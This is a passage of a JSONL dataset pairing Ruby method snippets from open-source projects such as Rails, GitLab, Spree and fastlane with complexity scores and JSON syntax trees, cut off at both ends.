",\"children\":[\"-u\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"auth_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"auth_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"last\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-p\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"auth_password\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-X\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uri\"]}]},null,{\"type\":\"send\",\"children\":[null,\"help\",{\"type\":\"lvar\",\"children\":[\"opt_parser\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uri\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"opt_parser\"]}]}]}]}","id":"7aa73d74-667e-4ff1-bb28-1bf74bea2f03"}
{"repo_name":"spree","file_path":"./repos/spree/core/spec/models/spree/order/checkout_spec.rb","start_line":11,"raw_source":"def assert_state_changed(order, from, to)\n    state_change_exists = order.state_changes.where(previous_state: from, next_state: to).exists?\n    assert state_change_exists, \"Expected order to transition from #{from} to #{to}, but didn't.\"\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_state_changed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]},{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state_change_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"state_changes\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"previous_state\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"next_state\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]}]}]},\"exists?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"state_change_exists\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected order to transition from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"str\",\"children\":[\", but didn't.\"]}]}]}]}]}","id":"16a8d06e-d813-4e3d-ae84-4ebeb9bfcffc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/or_test.rb","start_line":93,"raw_source":"def test_or_with_unscope_order\n      expected = Post.where(\"id = 1 or id = 2\").sort_by(&:id)\n      assert_equal expected, Post.order(\"body asc\").where(\"id = 1\").unscope(:order).or(Post.where(\"id = 2\")).sort_by(&:id)\n      assert_equal expected, Post.order(:id).where(\"id = 1\").or(Post.order(:id).where(\"id = 2\").unscope(:order)).sort_by(&:id)\n    end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_or_with_unscope_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"id = 1 or id = 2\"]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"order\",{\"type\":\"str\",\"children\":[\"body asc\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"id = 1\"]}]},\"unscope\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"id = 2\"]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"id = 1\"]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"id = 2\"]}]},\"unscope\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"62b89b8c-9a2d-4f35-88ce-78e08e1cc6f1"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/produce/lib/produce/cloud_container.rb","start_line":6,"raw_source":"def create(options, _args)\n      login\n\n      container_identifier = options.container_identifier || UI.input(\"iCloud Container identifier: \")\n\n      if container_exists?(container_identifier)\n        UI.success(\"[DevCenter] iCloud Container '#{options.container_name} (#{options.container_identifier})' already exists, nothing to do on the Dev Center\")\n        # Nothing to do here\n      else\n        container_name = options.container_name || container_identifier.gsub('.', ' ')\n\n        UI.success(\"Creating new iCloud Container '#{container_name}' with identifier '#{container_identifier}' on the Apple Dev Center\")\n\n        container = Spaceship.cloud_container.create!(identifier: container_identifier, name: container_name)\n\n        if container.name != container_name\n          UI.important(\"Your container name includes non-ASCII characters, which are not supported by the Apple Developer Portal.\")\n          UI.important(\"To fix this a unique (internal) name '#{container.name}' has been created for you.\")\n        end\n\n        UI.message(\"Created iCloud Container #{container.cloud_container}\")\n        UI.user_error!(\"Something went wrong when creating the new iCloud Container - it's not listed in the iCloud Container list\") unless container_exists?(container_identifier)\n        UI.success(\"Finished creating new iCloud Container '#{container_name}' on the Dev Center\")\n      end\n\n      return true\n    end","complexity_score":36.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"lvasgn\",\"children\":[\"container_identifier\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"container_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"input\",{\"type\":\"str\",\"children\":[\"iCloud Container identifier: \"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_exists?\",{\"type\":\"lvar\",\"children\":[\"container_identifier\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[DevCenter] iCloud Container '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"container_name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"container_identifier\"]}]},{\"type\":\"str\",\"children\":[\")' already exists, nothing to do on the Dev Center\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"container_name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"container_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_identifier\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating new iCloud Container '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_name\"]}]},{\"type\":\"str\",\"children\":[\"' with identifier '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_identifier\"]}]},{\"type\":\"str\",\"children\":[\"' on the Apple Dev Center\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"container\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"cloud_container\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"lvar\",\"children\":[\"container_identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"container_name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"name\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"container_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Your container name includes non-ASCII characters, which are not supported by the Apple Developer Portal.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"To fix this a unique (internal) name '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"' has been created for you.\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created iCloud Container \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"cloud_container\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_exists?\",{\"type\":\"lvar\",\"children\":[\"container_identifier\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Something went wrong when creating the new iCloud Container - it's not listed in the iCloud Container list\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Finished creating new iCloud Container '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_name\"]}]},{\"type\":\"str\",\"children\":[\"' on the Dev Center\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"22ebc0e9-d0ae-4b4d-8d4e-82de43935564"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/propagation/bulk_update_service.rb","start_line":41,"raw_source":"def data_fields_foreign_key\n        integration.data_fields.class.reflections['integration'].foreign_key\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"data_fields_foreign_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"data_fields\"]},\"class\"]},\"reflections\"]},\"[]\",{\"type\":\"str\",\"children\":[\"integration\"]}]},\"foreign_key\"]}]}","id":"e47779c1-dc60-489a-887f-03e7d60de759"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/documents/spec/controllers/documents_controller_spec.rb","start_line":206,"raw_source":"def file_attachment\n    test_document = \"#{OpenProject::Documents::Engine.root}/spec/assets/attachments/testfile.txt\"\n    Rack::Test::UploadedFile.new(test_document, \"text/plain\")\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"file_attachment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_document\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Documents\"]},\"Engine\"]},\"root\"]}]},{\"type\":\"str\",\"children\":[\"/spec/assets/attachments/testfile.txt\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Test\"]},\"UploadedFile\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"test_document\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]}]}","id":"7bc23bba-879c-403a-ae3e-d49b7dd60783"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/partition_monitoring.rb","start_line":25,"raw_source":"def gauge_extra\n          @gauge_extra ||= Gitlab::Metrics.gauge(:db_partitions_extra, 'Number of database partitions currently attached to tables, but outside of their retention window and scheduled to be dropped')\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gauge_extra\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gauge_extra\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"gauge\",{\"type\":\"sym\",\"children\":[\"db_partitions_extra\"]},{\"type\":\"str\",\"children\":[\"Number of database partitions currently attached to tables, but outside of their retention window and scheduled to be dropped\"]}]}]}]}","id":"cdad6be7-84db-466a-bdc4-b8eaf7e99239"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/array_scope_columns.rb","start_line":32,"raw_source":"def arel_columns\n            columns.map(&:arel_column)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"arel_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"arel_column\"]}]}]}]}","id":"d2ad4482-aad7-44ff-9580-cac00e71af47"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/wizard_field_choice_serializer.rb","start_line":53,"raw_source":"def include_data?\n    object.data.present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"include_data?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"data\"]},\"present?\"]}]}","id":"4130b071-2775-4f21-b29f-7fb1577da666"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/encrypted_command_base.rb","start_line":28,"raw_source":"def edit(args: {})\n        encrypted = encrypted_secrets(**args)\n        return unless validate_config(encrypted)\n\n        if ENV[\"EDITOR\"].blank?\n          warn 'No $EDITOR specified to open file. Please provide one when running the command:'\n          warn \"gitlab-rake #{self::EDIT_COMMAND_NAME} EDITOR=vim\"\n          return\n        end\n\n        temp_file = Tempfile.new(File.basename(encrypted.content_path), File.dirname(encrypted.content_path))\n        contents_changed = false\n\n        encrypted.change do |contents|\n          contents = encrypted_file_template unless File.exist?(encrypted.content_path)\n          File.write(temp_file.path, contents)\n\n          edit_success = system(*editor_args, temp_file.path)\n\n          raise \"Unable to run $EDITOR: #{editor_args}\" unless edit_success\n\n          changes = File.read(temp_file.path)\n          contents_changed = contents != changes\n          validate_contents(changes)\n          changes\n        end\n\n        puts \"Contents were unchanged.\" unless contents_changed\n        puts \"File encrypted and saved.\"\n      rescue Interrupt\n        warn \"Aborted changing file: nothing saved.\"\n      rescue ActiveSupport::MessageEncryptor::InvalidMessage\n        warn \"Couldn't decrypt #{encrypted.content_path}. Perhaps you passed the wrong key?\"\n      ensure\n        temp_file&.unlink\n      end","complexity_score":62.2,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encrypted\",{\"type\":\"send\",\"children\":[null,\"encrypted_secrets\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_config\",{\"type\":\"lvar\",\"children\":[\"encrypted\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EDITOR\"]}]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"str\",\"children\":[\"No $EDITOR specified to open file. Please provide one when running the command:\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gitlab-rake \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"self\",\"children\":[]},\"EDIT_COMMAND_NAME\"]}]},{\"type\":\"str\",\"children\":[\" EDITOR=vim\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"temp_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encrypted\"]},\"content_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encrypted\"]},\"content_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contents_changed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encrypted\"]},\"change\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contents\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encrypted\"]},\"content_path\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"send\",\"children\":[null,\"encrypted_file_template\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"contents\"]}]},{\"type\":\"lvasgn\",\"children\":[\"edit_success\",{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"editor_args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edit_success\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to run $EDITOR: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"editor_args\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contents_changed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"changes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_contents\",{\"type\":\"lvar\",\"children\":[\"changes\"]}]},{\"type\":\"lvar\",\"children\":[\"changes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents_changed\"]},null,{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Contents were unchanged.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"File encrypted and saved.\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Interrupt\"]}]},null,{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"str\",\"children\":[\"Aborted changing file: nothing saved.\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageEncryptor\"]},\"InvalidMessage\"]}]},null,{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't decrypt \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encrypted\"]},\"content_path\"]}]},{\"type\":\"str\",\"children\":[\". Perhaps you passed the wrong key?\"]}]}]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"unlink\"]}]}]}","id":"18fbd7bd-a3b9-4fdb-82dd-af61edd4204e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/redis_base.rb","start_line":93,"raw_source":"def get_allowed_cross_slot_request_count\n          ::RequestStore[allowed_cross_slots_key] || 0\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_allowed_cross_slot_request_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RequestStore\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"allowed_cross_slots_key\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"5fec3749-71d3-4199-9b71-986a66b8cae7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/admin/overview/users/show.rb","start_line":35,"raw_source":"def go_to_impersonation_tokens(&block)\n              navigate_to_tab('impersonation-tokens-tab')\n              Users::Components::ImpersonationTokens.perform(&block)\n            end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"go_to_impersonation_tokens\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"navigate_to_tab\",{\"type\":\"str\",\"children\":[\"impersonation-tokens-tab\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Components\"]},\"ImpersonationTokens\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"b844cbd2-6d33-4309-b594-d72c946f88b8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_ext_test.rb","start_line":931,"raw_source":"def test_days_in_month_feb_in_leap_year_without_year_arg\n    Time.stub(:now, Time.utc(2008)) do\n      assert_equal 29, Time.days_in_month(2)\n    end\n  end","complexity_score":6.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_days_in_month_feb_in_leap_year_without_year_arg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2008]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[29]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"days_in_month\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"300a2192-8a08-4cfd-ae57-7fd5c26d49f6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin/settings/enumerations_controller_base.rb","start_line":52,"raw_source":"def create\n        @enumeration = enumeration_class.new(enumeration_permitted_params)\n\n        if @enumeration.save\n          flash[:notice] = I18n.t(:notice_successful_update)\n          redirect_to(action: :index)\n        else\n          render action: :new, status: :unprocessable_entity\n        end\n      end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@enumeration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enumeration_class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"enumeration_permitted_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@enumeration\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_update\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"index\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_enti